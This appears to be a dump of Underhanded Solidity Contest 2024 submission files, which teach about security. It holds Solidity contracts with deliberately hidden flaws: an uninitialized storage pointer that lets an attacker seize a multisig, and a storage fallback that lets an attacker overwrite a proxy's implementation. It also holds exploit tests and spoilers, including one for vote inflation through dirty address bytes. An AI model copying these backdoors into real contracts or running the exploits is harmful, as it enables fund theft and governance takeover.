    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.25;\n\nimport { ERC20 } from \"@openzeppelin-contracts-5.0.2/token/ERC20/ERC20.sol\";\nimport { IVotingToken } from \"../InstantVoting.sol\";\n\n/// @notice Theoretically, snapshots/checkpoints should be used to track past balances\ncontract MockVotingToken is ERC20, IVotingToken {\n    mapping(address voter => mapping(bytes32 proposalId => Decision)) decisions;\n\n    constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) {}\n\n    function vote(bytes32 _proposalId, Decision _decision) external {\n        require(balanceOf(msg.sender) > 0, \"only users with balance can vote\");\n        decisions[msg.sender][_proposalId] = _decision;\n    }\n\n    function weight(address _account, bytes32 _proposalId) external view returns (int256) {\n        uint256 balance = balanceOf(_account);\n        Decision decision = decisions[_account][_proposalId];\n        if (decision == Decision.None) {\n            return 0;\n        } else if (decision == Decision.For) {\n            return int256(balance);\n        } else if (decision == Decision.Against) {\n            return int256(balance) * (-1);\n        } else {\n            revert(\"Unknown decision\");\n        }\n    }\n\n    /// used for test setup\n    function mint(address user, uint256 amount) external {\n        _mint(user, amount);\n    }\n}\n"
  },
  {
    "path": "2024/submissions_2024/submission2_Seppilon/test/exploit.t.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.25;\n\nimport { Test, console } from \"forge-std-1.9.2/src/Test.sol\";\nimport { InstantVoting, IVotingToken } from \"../src/InstantVoting.sol\";\nimport { MockVotingToken } from \"../src/mock/MockVotingToken.sol\";\nimport { MockExecutor } from \"../src/mock/MockExecutor.sol\";\nimport { MockVoterRegistry } from \"../src/mock/MockVoterRegistry.sol\";\n\n/**\n====================== !!  SPOILER ALERT  !! ======================\n\nThe malicious registry returns a bytes32 array with the same address\nbut dirty upper bytes. Within InstantVoting::collectVotes(), these\nbytes32 values will be copied into the address[] array slots by the\nidentity precompile. While they are interpreted as an address for\nthe IVotingToken::weight() call, the derived mapping slot of VOTED_SLOT\nis under the influence of the dirty bytes, thereby leading to a different\nslot for the same address. This allows having the same voter's weight \ncounted multiple times and, hence, manipulating the vote.\n\n===================================================================\n*/\ncontract MaliciousRegistry {\n    address voter;\n\n    constructor(address adversary) {\n        voter = adversary;\n    }\n\n    function getVoters() external view returns (bytes32[] memory) {\n        bytes32[] memory voters = new bytes32[](20);\n\n        for (uint256 i = 0; i < 20; ++i) {\n            // address with dirty bytes\n            uint256 offset = 32 + i * 32;\n            bytes32 value = bytes32(i << 160) | bytes32(uint256(uint160(voter)));\n            assembly {\n                mstore(add(voters, offset), value)\n            }\n        }\n\n        return voters;\n    }\n}\n\ncontract ExploitTest is Test {\n    InstantVoting public instantVoting;\n    MockVotingToken public votingToken;\n    MockExecutor public executor;\n    MockVoterRegistry public registry;\n    MaliciousRegistry public maliciousRegistry;\n\n    address alice;\n    address bob;\n    address charlie;\n    address mallory;\n    \n    bytes32 proposalId;\n\n    function setUp() public {\n        votingToken = new MockVotingToken(\"Voting\", \"VTG\");\n        executor = new MockExecutor();\n        registry = new MockVoterRegistry();\n        instantVoting = new InstantVoting(address(votingToken), address(executor));\n\n        alice = makeAddr(\"alice\");\n        bob = makeAddr(\"bob\");\n        charlie = makeAddr(\"charlie\");\n        mallory = makeAddr(\"mallory\"); // attacker\n\n        votingToken.mint(alice, 7 * 10**18);\n        votingToken.mint(bob, 5 * 10**18);\n        votingToken.mint(charlie, 3 * 10**18);\n        votingToken.mint(mallory, 1 * 10**18); // attacker has the least voting weight\n\n        registry.register(alice);\n        registry.register(bob);\n        registry.register(charlie);\n\n        maliciousRegistry = new MaliciousRegistry(mallory);\n\n        proposalId = executor.schedule(\n            makeAddr(\"target\"), 1 ether, \"\", keccak256(\"first proposal salt\")\n        );\n    }\n\n    function test_exploit() public {\n        // do the votes\n        vm.prank(alice);\n        votingToken.vote(proposalId, IVotingToken.Decision.Against);\n        vm.prank(bob);\n        votingToken.vote(proposalId, IVotingToken.Decision.Against);\n        vm.prank(charlie);\n        votingToken.vote(proposalId, IVotingToken.Decision.Against);\n        // counting the legitimate Against votes\n        instantVoting.collectVotes(proposalId, address(registry));\n\n        // Attacker votes\n        vm.prank(mallory);\n        votingToken.vote(proposalId, IVotingToken.Decision.For);\n        // Despite having the least voting weight, mallory's weight is counted\n        // 20 times through the maliciousRegistry and thereby turning the\n        // vote around.\n        instantVoting.collectVotes(proposalId, address(maliciousRegistry));\n\n        vm.expectEmit(true, false, false, false, address(executor));\n        emit MockExecutor.Executed(proposalId);\n        instantVoting.run(proposalId);\n    }\n}\n"
  },
  {
    "path": "2024/submissions_2024/submission2_Seppilon/test/legit.t.sol",
    "content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.25;\n\nimport { Test, console } from \"forge-std-1.9.2/src/Test.sol\";\nimport { InstantVoting, IVotingToken } from \"../src/InstantVoting.sol\";\nimport { MockVotingToken } from \"../src/mock/MockVotingToken.sol\";\nimport { MockExecutor } from \"../src/mock/MockExecutor.sol\";\nimport { MockVoterRegistry } from \"../src/mock/MockVoterRegistry.sol\";\n\ncontract LegitTest is Test {\n    InstantVoting public instantVoting;\n    MockVotingToken public votingToken;\n    MockExecutor public executor;\n    MockVoterRegistry public registry;\n\n    address alice;\n    address bob;\n    address charlie;\n    \n    bytes32 proposalId;\n\n    function setUp() public {\n        votingToken = new MockVotingToken(\"Voting\", \"VTG\");\n        executor = new MockExecutor();\n        registry = new MockVoterRegistry();\n        instantVoting = new InstantVoting(address(votingToken), address(executor));\n\n        alice = makeAddr(\"alice\");\n        bob = makeAddr(\"bob\");\n        charlie = makeAddr(\"charlie\");\n\n        votingToken.mint(alice, 7 * 10**18);\n        votingToken.mint(bob, 5 * 10**18);\n        votingToken.mint(charlie, 3 * 10**18);\n\n        registry.register(alice);\n        registry.register(bob);\n        registry.register(charlie);\n\n        proposalId = executor.schedule(\n            makeAddr(\"target\"), 1 ether, \"\", keccak256(\"first proposal salt\")\n        );\n    }\n\n    function test_successful_instant_vote() public {\n        // do the votes\n        vm.prank(alice);\n        votingToken.vote(proposalId, IVotingToken.Decision.Against);\n        vm.prank(bob);\n        votingToken.vote(proposalId, IVotingToken.Decision.For);\n        vm.prank(charlie);\n        votingToken.vote(proposalId, IVotingToken.Decision.For);\n\n        // collect votes\n        instantVoting.collectVotes(proposalId, address(registry));\n        // expect event emitted when proposal runs\n        vm.expectEmit(true, false, false, false, address(executor));\n        emit MockExecutor.Executed(proposalId);\n        instantVoting.run(proposalId);\n    }\n\n    function test_failing_voted_against() public {\n        // do the votes\n        vm.prank(alice);\n        votingToken.vote(proposalId, IVotingToken.Decision.Against);\n        vm.prank(bob);\n        votingToken.vote(proposalId, IVotingToken.Decision.Against);\n        vm.prank(charlie);\n        votingToken.vote(proposalId, IVotingToken.Decision.Against);\n\n        // collect votes\n        instantVoting.collectVotes(proposalId, address(registry));\n        // expect revert\n        vm.expectRevert(\"vote didn't pass\");\n        instantVoting.run(proposalId);\n    }\n\n    function test_failing_not_enough_votes() public {\n        // do the votes\n        vm.prank(charlie);\n        votingToken.vote(proposalId, IVotingToken.Decision.For);\n\n        // collect votes\n        instantVoting.collectVotes(proposalId, address(registry));\n        // expect revert\n        vm.expectRevert(\"More than 20% of weight must have voted\");\n        instantVoting.run(proposalId);\n    }\n\n    function test_failing_votes_only_count_once() public {\n        // do the votes\n        vm.prank(alice);\n        votingToken.vote(proposalId, IVotingToken.Decision.Against);\n        vm.prank(bob);\n        votingToken.vote(proposalId, IVotingToken.Decision.For);\n        vm.prank(charlie);\n        votingToken.vote(proposalId, IVotingToken.Decision.For);\n\n        // collect votes twice\n        instantVoting.collectVotes(proposalId, address(registry));\n        (int256 secondDecisionalWeight, uint256 secondTotalWeight)\n            = instantVoting.collectVotes(proposalId, address(registry));\n        // check that second collection of votes does not accumulate weight\n        assertEq(secondDecisionalWeight, 0);\n        assertEq(secondTotalWeight, 0);\n    }\n}\n"
  },
  {
    "path": "2024/submissions_2024/submission3_William_Bowling/OffchainStaking.sol",
    "content": "// SPDX-License-Identifier: GPL-3.0\npragma solidity ^0.8.26;\n\ninterface IERC20 {\n    function transfer(address to, uint256 value) external returns (bool);\n    function transferFrom(address from, address to, uint256 value) external returns (bool);\n}\n\ninterface UserCallback {\n    function userCreated() external returns (bool);\n}\n\ncontract OffchainStaking {\n    struct User {\n        address owner;\n        uint256 balance;\n    }\n\n    event UserCreated(address indexed owner);\n    event Deposit(address indexed owner, uint256 amount);\n    event Withdraw(address indexed owner, uint256 amount);\n    event TransferUser(address indexed owner, address newOwner);\n    event EmergencyWithdraw(address indexed to, uint256 amount);\n    event ReentracyDetected(address indexed owner);\n\n    address public multisig;\n    IERC20 public token;\n\n    mapping(address => User) public users;\n\n    constructor(address _multisig, IERC20 _token) {\n        multisig = _multisig;\n        token = _token;\n    }\n\n    ////////////////////////////////////////////////////\n    //////////////// External Functions ////////////////\n    ////////////////////////////////////////////////////\n\n    function createUser() external {\n        createUserInternal();\n    }\n\n    function deposit(uint256 amount) external {\n        User storage user = getUser();\n        depositInternal(amount, user);\n    }\n\n    function withdraw(uint256 amount) external {\n        User storage user = getUser();\n        withdrawInternal(amount, user);\n    }\n\n    function transferUser(address newOwner) external {\n        User storage user = getUser();\n        user.owner = newOwner;\n    }\n\n    function emergencyWithdraw(address to, uint256 amount) external {\n        require(msg.sender == multisig, \"Not multisig\");\n        require(token.transfer(to, amount), \"Transfer failed\");\n\n        emit EmergencyWithdraw(to, amount);\n    }\n\n    ///////////////////////////////////////////////////\n    //////////////////// Modifiers ////////////////////\n    ///////////////////////////////////////////////////\n\n    modifier createReentrancy(address addr) {\n        userCreateStart(addr);\n        _;\n        userCreateEnd(addr);\n    }\n\n    modifier skipIfReentrant(address addr, User storage user) {\n        if (isInUserCreate(addr)) {\n            emit ReentracyDetected(user.owner);\n            return;\n        }\n\n        _;\n    }\n\n    ////////////////////////////////////////////////////\n    //////////////// Internal Functions ////////////////\n    ////////////////////////////////////////////////////\n\n    function createUserInternal() internal createReentrancy(msg.sender) returns (User storage user) {\n        user = users[msg.sender];\n        user.owner = msg.sender;\n\n        UserCallback callback = UserCallback(msg.sender);\n        if (address(callback).code.length > 0) {\n            require(callback.userCreated());\n        }\n\n        emit UserCreated(msg.sender);\n    }\n\n    function depositInternal(uint256 amount, User storage user) internal skipIfReentrant(msg.sender, user) {\n        user.balance += amount;\n        require(token.transferFrom(msg.sender, address(this), amount), \"Transfer failed\");\n\n        emit Deposit(msg.sender, amount);\n    }\n\n    function withdrawInternal(uint256 amount, User storage user) internal skipIfReentrant(msg.sender, user) {\n        require(user.balance >= amount, \"Insufficient balance\");\n        user.balance -= amount;\n        require(token.transfer(msg.sender, amount), \"Transfer failed\");\n\n        emit Withdraw(msg.sender, amount);\n    }\n\n    function getUser() internal skipIfReentrant(msg.sender, user=user) returns (User storage user) {\n        user = users[msg.sender];\n    }\n\n    ////////////////////////////////////////////////////\n    ////////////// TStore/TLoad wrappers ///////////////\n    ////////////////////////////////////////////////////\n\n    function userCreateStart(address addr) internal {\n        tstore(keccak256(abi.encodePacked(\"userCreate\", addr)), 1);\n    }\n\n    function userCreateEnd(address addr) internal {\n        tstore(keccak256(abi.encodePacked(\"userCreate\", addr)), 0);\n    }\n\n    function isInUserCreate(address addr) internal view returns (bool) {\n        return tload(keccak256(abi.encodePacked(\"userCreate\", addr))) == 1;\n    }\n\n    function tstore(bytes32 key, uint256 value) internal {\n        assembly {\n            tstore(key, value)\n        }\n    }\n\n    function tload(bytes32 key) internal view returns (uint256 value) {\n        assembly {\n            value := tload(key)\n        }\n    }\n}\n"
  },
  {
    "path": "2024/submissions_2024/submission3_William_Bowling/readme.txt",
    "content": "Welcome to Offchain Staking! Stake with us for guarenteed returns, everything is handled offchain with our secret sauce so you don't have to worry! Making use of the latest and greatest solidity features, our on-chain code is so simple it will never be hacked!"
  },
  {
    "path": "2024/submissions_2024/submission3_William_Bowling/spoiler.txt",
    "content": "The contract has a bug which allows the `multisig` storage variable to be overwritten, allowing the `emergencyWithdraw` function to be called by an attacker. The bug is a combination of two things\n* The `skipIfReentrant` modifier not execute the function if reentrancy is detected. \n* https://github.com/ethereum/solidity/issues/14021 - This solidity bug allows an uninitialized storage pointer to be returned by assigning it to itself. \n\nThe `getUser` function has the `skipIfReentrant` modifier and passes in `user=user` as an argument, triggering the solidity issue instead of refusing to compile. If reentrancy is detected then the function body is never called and `user` remains uninitialized and will point to storage slot zero (the multisig). This can be abused by the `transferUser` function to overwrite the multisig storage slot instead of the `user.owner` by calling if from within the `userCreated` callback."
  },
  {
    "path": "2024/submissions_2024/submission4_Gerard_Persoon/README.txt",
    "content": "The contract \"token.sol\" is an example of a nice use case of transient storage.\r\n\r\nIt stores several pieces of information in transient storage and in the end uses these pieces of information.\r\nThis way the information doesn't have to be send back and forth in a struct.\r\n\r\nThis example uses this pattern to deploy a token contract:\r\n- first the token name is stored via tempStoreKeyValue();\r\n- then the token symbol is stored via tempStoreKeyValue();\r\n- finally the token is deployed via deployToken().\r\n\r\nNote: values can also be erased by assigning an empty value via tempStoreKeyValue(), otherwise they will be erased at the end of the transaction.\r\n\r\nAdded features to simulate a real life environment:\r\n- proxy logic is added to show that transient storage also works in combination with proxies\r\n- function pointers are used to abstract the use of either transient or normal storage\r\n- function pointers are immutable so they can be initialized in the contructor and still work with proxies\r\n- support is built in for chains that don't (yet) support transient storage\r\n\r\nThe example can be run in Remix\r\nExpected output: \"Deploying token: Token name / Token symbol\"\r\n\r\n"
  },
  {
    "path": "2024/submissions_2024/submission4_Gerard_Persoon/spoiler.sol",
    "content": "// SPDX-License-Identifier: MIT\r\npragma solidity 0.8.26;\r\nimport \"hardhat/console.sol\"; \r\n\r\nimport \"https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\";\r\nimport \"https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol\";\r\n\r\ncontract token is ERC20 {\r\n     constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_) {     \r\n    }\r\n}\r\n\r\ncontract transientImplementation  {\r\n\r\n   function(string memory) returns (bytes32) immutable load;\r\n   function(string memory, bytes32) immutable store;\r\n\r\n   function getSlot(string memory s ) internal pure returns (bytes32) {\r\n      return bytes32(uint256(keccak256(bytes(s)))-1);\r\n   }\r\n   function tstore(string memory s, bytes32 value) internal { \r\n      bytes32 a = getSlot(s);\r\n      assembly { tstore(a, value)  }       \r\n   }\r\n   function sstore(string memory s, bytes32 value) internal { \r\n      bytes32 a = getSlot(s);\r\n      assembly { sstore(a, value)  } \r\n   }\r\n\r\n   function tload(string memory s) internal view returns (bytes32 value) { \r\n      bytes32 a = getSlot(s);\r\n      assembly { value := tload(a) }       \r\n   }\r\n   function sload(string memory s) internal view returns (bytes32 value) { \r\n      bytes32 a = getSlot(s);\r\n      assembly { value := sload(a) } \r\n   }\r\n\r\n   function tempStoreKeyValue(string memory key, bytes32 value) public {\r\n      store(key,value);\r\n   }\r\n   function tempGetValue(string memory key) public returns (bytes32 value)  {\r\n      return load(key);\r\n   }\r\n   function toString(bytes32 _bytes32) internal pure returns (string memory) {\r\n        uint8 i;\r\n        while (i < 32 && _bytes32[i] != 0) i++;\r\n        bytes memory bytesArray = new bytes(i);\r\n        for (i = 0; i < 32 && _bytes32[i] != 0; i++) {\r\n            bytesArray[i] = _bytes32[i];\r\n        }\r\n        return string(bytesArray);\r\n   }\r\n\r\n   function deployToken() public returns(address){\r\n      string memory name = toString(tempGetValue(\"name\"));\r\n      string memory symbol = toString(tempGetValue(\"symbol\"));\r\n      console.log(\"Deploying token:\",name,\" / \",symbol);\r\n      token t = new token(name,symbol);\r\n      return address(t);\r\n   }\r\n\r\n   constructor(bool _hasTrancient) { // not every chain supports transient storage, fallback via storage\r\n      (load,store) = _hasTrancient ? (tload,tstore) : (sload,sstore);\r\n   }   \r\n}\r\n\r\ncontract fake {\r\n   function deployToken() public returns(address){\r\n      console.log(\"The implementation has been taken over\");\r\n      return address(0);\r\n   }\r\n}\r\n\r\ncontract test {  \r\n   transientImplementation _implementation = new transientImplementation(false); // An issue occurs when the fallback option to traditional storage is used.\r\n   transientImplementation public proxy = transientImplementation(address(new TransparentUpgradeableProxy(address(_implementation), address(this), \"\")));\r\n     \r\n   constructor() {\r\n      proxy.tempStoreKeyValue(\"name\",\"Token name\");\r\n      proxy.tempStoreKeyValue(\"symbol\",\"Token symbol\");\r\n      proxy.deployToken();\r\n \r\n      proxy.tempStoreKeyValue(\"eip1967.proxy.implementation\",bytes32(uint256(uint160(address(new fake()))))); // this overwrites the implementation\r\n      proxy.deployToken();\r\n      \r\n   }\r\n   \r\n} \r\n\r\n\r\n "
  },
  {
    "path": "2024/submissions_2024/submission4_Gerard_Persoon/spoiler.txt",
    "content": "This is the spoilor for contract \"token.sol\"\r\n\r\nThe function tempStoreKeyValue() allows writing to any transient storage location, which normally would not be a (big) problem.\r\nHowever an issue occurs when the chain doesn't support transient storage and the fallback option is used to use normal storage.\r\n\r\nThen the function tempStoreKeyValue() allows writing to any storage location.\r\nThis is bad for most contracts but especially for proxy based contracts because the implementation address can be overwritten.\r\n\r\nFunction getSlot() uses the same algorithm as the OpenZeppelin TransparentUpgradeableProxy uses, to make the problem very obvious.\r\n\r\nContract \"spoiler.sol\" can be run in Remix and shows how the implementation can be taken over.\r\nExpected output: \"Deploying token: Token name / Token symbol\"\r\n                 \"The implementation has been taken over\"\r\n\r\n"
  },
  {
    "path": "2024/submissions_2024/submission4_Gerard_Persoon/token.sol",
    "content": "// SPDX-License-Identifier: MIT\r\npragma solidity 0.8.26;\r\nimport \"hardhat/console.sol\"; \r\n\r\nimport \"https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\";\r\nimport \"https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol\";\r\n\r\ncontract token is ERC20 {\r\n     constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_) {     \r\n    }\r\n}\r\n\r\ncontract transientImplementation  {\r\n\r\n   function(string memory) returns (bytes32) immutable load;\r\n   function(string memory, bytes32) immutable store;\r\n\r\n   function getSlot(string memory s ) internal pure returns (bytes32) {\r\n      return bytes32(uint256(keccak256(bytes(s)))-1);\r\n   }\r\n   function tstore(string memory s, bytes32 value) internal { \r\n      bytes32 a = getSlot(s);\r\n      assembly { tstore(a, value)  }       \r\n   }\r\n   function sstore(string memory s, bytes32 value) internal { \r\n      bytes32 a = getSlot(s);\r\n      assembly { sstore(a, value)  } \r\n   }\r\n\r\n   function tload(string memory s) internal view returns (bytes32 value) { \r\n      bytes32 a = getSlot(s);\r\n      assembly { value := tload(a) }       \r\n   }\r\n   function sload(string memory s) internal view returns (bytes32 value) { \r\n      bytes32 a = getSlot(s);\r\n      assembly { value := sload(a) } \r\n   }\r\n\r\n   function tempStoreKeyValue(string memory key, bytes32 value) public {\r\n      store(key,value);\r\n   }\r\n   function tempGetValue(string memory key) public returns (bytes32 value)  {\r\n      return load(key);\r\n   }\r\n   function toString(bytes32 _bytes32) internal pure returns (string memory) {\r\n        uint8 i;\r\n        while (i < 32 && _bytes32[i] != 0) i++;\r\n        bytes memory bytesArray = new bytes(i);\r\n        for (i = 0; i < 32 && _bytes32[i] != 0; i++) {\r\n            bytesArray[i] = _bytes32[i];\r\n        }\r\n        return string(bytesArray);\r\n   }\r\n\r\n   function deployToken() public returns(address){\r\n      string memory name = toString(tempGetValue(\"name\"));\r\n      string memory symbol = toString(tempGetValue(\"symbol\"));\r\n      console.log(\"Deploying token:\",name,\" / \",symbol);\r\n      token t = new token(name,symbol);\r\n      return address(t);\r\n   }\r\n\r\n   constructor(bool _hasTrancient) { // not every chain supports transient storage, fallback via storage\r\n      (load,store) = _hasTrancient ? (tload,tstore) : (sload,sstore);\r\n   }   \r\n}\r\n \r\ncontract test {  \r\n   transientImplementation _implementation = new transientImplementation(true);\r\n   transientImplementation public proxy = transientImplementation(address(new TransparentUpgradeableProxy(address(_implementation), address(this), \"\")));\r\n     \r\n   constructor() {\r\n      proxy.tempStoreKeyValue(\"name\",\"Token name\");\r\n      proxy.tempStoreKeyValue(\"symbol\",\"Token symbol\");\r\n      proxy.deployToken();     \r\n   }\r\n   \r\n} \r\n"
  },
  {
    "path": "CNAME",
    "content": "underhanded.soliditylang.org"
  },
  {
    "path": "LICENSE.txt",
    "content": "Creative Commons Attribution 3.0 Unported\r\nhttp://creativecommons.org/licenses/by/3.0/\r\n\r\nLicense\r\n\r\nTHE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENSE (\"CCPL\" OR \"LICENSE\"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT LAW IS PROHIBITED.\r\n\r\nBY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. TO THE EXTENT THIS LICENSE MAY BE CONSIDERED TO BE A CONTRACT, THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS.\r\n\r\n1. Definitions\r\n\r\n   1. \"Adaptation\" means a work based upon the Work, or upon the Work and other pre-existing works, such as a translation, adaptation, derivative work, arrangement of music or other alterations of a literary or artistic work, or phonogram or performance and includes cinematographic adaptations or any other form in which the Work may be recast, transformed, or adapted including in any form recognizably derived from the original, except that a work that constitutes a Collection will not be considered an Adaptation for the purpose of this License. For the avoidance of doubt, where the Work is a musical work, performance or phonogram, the synchronization of the Work in timed-relation with a moving image (\"synching\") will be considered an Adaptation for the purpose of this License.\r\n   2. \"Collection\" means a collection of literary or artistic works, such as encyclopedias and anthologies, or performances, phonograms or broadcasts, or other works or subject matter other than works listed in Section 1(f) below, which, by reason of the selection and arrangement of their contents, constitute intellectual creations, in which the Work is included in its entirety in unmodified form along with one or more other contributions, each constituting separate and independent works in themselves, which together are assembled into a collective whole. A work that constitutes a Collection will not be considered an Adaptation (as defined above) for the purposes of this License.\r\n   3. \"Distribute\" means to make available to the public the original and copies of the Work or Adaptation, as appropriate, through sale or other transfer of ownership.\r\n   4. \"Licensor\" means the individual, individuals, entity or entities that offer(s) the Work under the terms of this License.\r\n   5. \"Original Author\" means, in the case of a literary or artistic work, the individual, individuals, entity or entities who created the Work or if no individual or entity can be identified, the publisher; and in addition (i) in the case of a performance the actors, singers, musicians, dancers, and other persons who act, sing, deliver, declaim, play in, interpret or otherwise perform literary or artistic works or expressions of folklore; (ii) in the case of a phonogram the producer being the person or legal entity who first fixes the sounds of a performance or other sounds; and, (iii) in the case of broadcasts, the organization that transmits the broadcast.\r\n   6. \"Work\" means the literary and/or artistic work offered under the terms of this License including without limitation any production in the literary, scientific and artistic domain, whatever may be the mode or form of its expression including digital form, such as a book, pamphlet and other writing; a lecture, address, sermon or other work of the same nature; a dramatic or dramatico-musical work; a choreographic work or entertainment in dumb show; a musical composition with or without words; a cinematographic work to which are assimilated works expressed by a process analogous to cinematography; a work of drawing, painting, architecture, sculpture, engraving or lithography; a photographic work to which are assimilated works expressed by a process analogous to photography; a work of applied art; an illustration, map, plan, sketch or three-dimensional work relative to geography, topography, architecture or science; a performance; a broadcast; a phonogram; a compilation of data to the extent it is protected as a copyrightable work; or a work performed by a variety or circus performer to the extent it is not otherwise considered a literary or artistic work.\r\n   7. \"You\" means an individual or entity exercising rights under this License who has not previously violated the terms of this License with respect to the Work, or who has received express permission from the Licensor to exercise rights under this License despite a previous violation.\r\n   8. \"Publicly Perform\" means to perform public recitations of the Work and to communicate to the public those public recitations, by any means or process, including by wire or wireless means or public digital performances; to make available to the public Works in such a way that members of the public may access these Works from a place and at a place individually chosen by them; to perform the Work to the public by any means or process and the communication to the public of the performances of the Work, including by public digital performance; to broadcast and rebroadcast the Work by any means including signs, sounds or images.\r\n   9. \"Reproduce\" means to make copies of the Work by any means including without limitation by sound or visual recordings and the right of fixation and reproducing fixations of the Work, including storage of a protected performance or phonogram in digital form or other electronic medium.\r\n\r\n2. Fair Dealing Rights. Nothing in this License is intended to reduce, limit, or restrict any uses free from copyright or rights arising from limitations or exceptions that are provided for in connection with the copyright protection under copyright law or other applicable laws.\r\n\r\n3. License Grant. Subject to the terms and conditions of this License, Licensor hereby grants You a worldwide, royalty-free, non-exclusive, perpetual (for the duration of the applicable copyright) license to exercise the rights in the Work as stated below:\r\n\r\n   1. to Reproduce the Work, to incorporate the Work into one or more Collections, and to Reproduce the Work as incorporated in the Collections;\r\n   2. to create and Reproduce Adaptations provided that any such Adaptation, including any translation in any medium, takes reasonable steps to clearly label, demarcate or otherwise identify that changes were made to the original Work. For example, a translation could be marked \"The original work was translated from English to Spanish,\" or a modification could indicate \"The original work has been modified.\";\r\n   3. to Distribute and Publicly Perform the Work including as incorporated in Collections; and,\r\n   4. to Distribute and Publicly Perform Adaptations.\r\n   5.\r\n\r\n      For the avoidance of doubt:\r\n         1. Non-waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme cannot be waived, the Licensor reserves the exclusive right to collect such royalties for any exercise by You of the rights granted under this License;\r\n         2. Waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme can be waived, the Licensor waives the exclusive right to collect such royalties for any exercise by You of the rights granted under this License; and,\r\n         3. Voluntary License Schemes. The Licensor waives the right to collect royalties, whether individually or, in the event that the Licensor is a member of a collecting society that administers voluntary licensing schemes, via that society, from any exercise by You of the rights granted under this License.\r\n\r\nThe above rights may be exercised in all media and formats whether now known or hereafter devised. The above rights include the right to make such modifications as are technically necessary to exercise the rights in other media and formats. Subject to Section 8(f), all rights not expressly granted by Licensor are hereby reserved.\r\n\r\n4. Restrictions. The license granted in Section 3 above is expressly made subject to and limited by the following restrictions:\r\n\r\n   1. You may Distribute or Publicly Perform the Work only under the terms of this License. You must include a copy of, or the Uniform Resource Identifier (URI) for, this License with every copy of the Work You Distribute or Publicly Perform. You may not offer or impose any terms on the Work that restrict the terms of this License or the ability of the recipient of the Work to exercise the rights granted to that recipient under the terms of the License. You may not sublicense the Work. You must keep intact all notices that refer to this License and to the disclaimer of warranties with every copy of the Work You Distribute or Publicly Perform. When You Distribute or Publicly Perform the Work, You may not impose any effective technological measures on the Work that restrict the ability of a recipient of the Work from You to exercise the rights granted to that recipient under the terms of the License. This Section 4(a) applies to the Work as incorporated in a Collection, but this does not require the Collection apart from the Work itself to be made subject to the terms of this License. If You create a Collection, upon notice from any Licensor You must, to the extent practicable, remove from the Collection any credit as required by Section 4(b), as requested. If You create an Adaptation, upon notice from any Licensor You must, to the extent practicable, remove from the Adaptation any credit as required by Section 4(b), as requested.\r\n   2. If You Distribute, or Publicly Perform the Work or any Adaptations or Collections, You must, unless a request has been made pursuant to Section 4(a), keep intact all copyright notices for the Work and provide, reasonable to the medium or means You are utilizing: (i) the name of the Original Author (or pseudonym, if applicable) if supplied, and/or if the Original Author and/or Licensor designate another party or parties (e.g., a sponsor institute, publishing entity, journal) for attribution (\"Attribution Parties\") in Licensor's copyright notice, terms of service or by other reasonable means, the name of such party or parties; (ii) the title of the Work if supplied; (iii) to the extent reasonably practicable, the URI, if any, that Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work; and (iv) , consistent with Section 3(b), in the case of an Adaptation, a credit identifying the use of the Work in the Adaptation (e.g., \"French translation of the Work by Original Author,\" or \"Screenplay based on original Work by Original Author\"). The credit required by this Section 4 (b) may be implemented in any reasonable manner; provided, however, that in the case of a Adaptation or Collection, at a minimum such credit will appear, if a credit for all contributing authors of the Adaptation or Collection appears, then as part of these credits and in a manner at least as prominent as the credits for the other contributing authors. For the avoidance of doubt, You may only use the credit required by this Section for the purpose of attribution in the manner set out above and, by exercising Your rights under this License, You may not implicitly or explicitly assert or imply any connection with, sponsorship or endorsement by the Original Author, Licensor and/or Attribution Parties, as appropriate, of You or Your use of the Work, without the separate, express prior written permission of the Original Author, Licensor and/or Attribution Parties.\r\n   3. Except as otherwise agreed in writing by the Licensor or as may be otherwise permitted by applicable law, if You Reproduce, Distribute or Publicly Perform the Work either by itself or as part of any Adaptations or Collections, You must not distort, mutilate, modify or take other derogatory action in relation to the Work which would be prejudicial to the Original Author's honor or reputation. Licensor agrees that in those jurisdictions (e.g. Japan), in which any exercise of the right granted in Section 3(b) of this License (the right to make Adaptations) would be deemed to be a distortion, mutilation, modification or other derogatory action prejudicial to the Original Author's honor and reputation, the Licensor will waive or not assert, as appropriate, this Section, to the fullest extent permitted by the applicable national law, to enable You to reasonably exercise Your right under Section 3(b) of this License (right to make Adaptations) but not otherwise.\r\n\r\n5. Representations, Warranties and Disclaimer\r\n\r\nUNLESS OTHERWISE MUTUALLY AGREED TO BY THE PARTIES IN WRITING, LICENSOR OFFERS THE WORK AS-IS AND MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY KIND CONCERNING THE WORK, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT LIMITATION, WARRANTIES OF TITLE, MERCHANTIBILITY, FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, OR THE ABSENCE OF LATENT OR OTHER DEFECTS, ACCURACY, OR THE PRESENCE OF ABSENCE OF ERRORS, WHETHER OR NOT DISCOVERABLE. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OF IMPLIED WARRANTIES, SO SUCH EXCLUSION MAY NOT APPLY TO 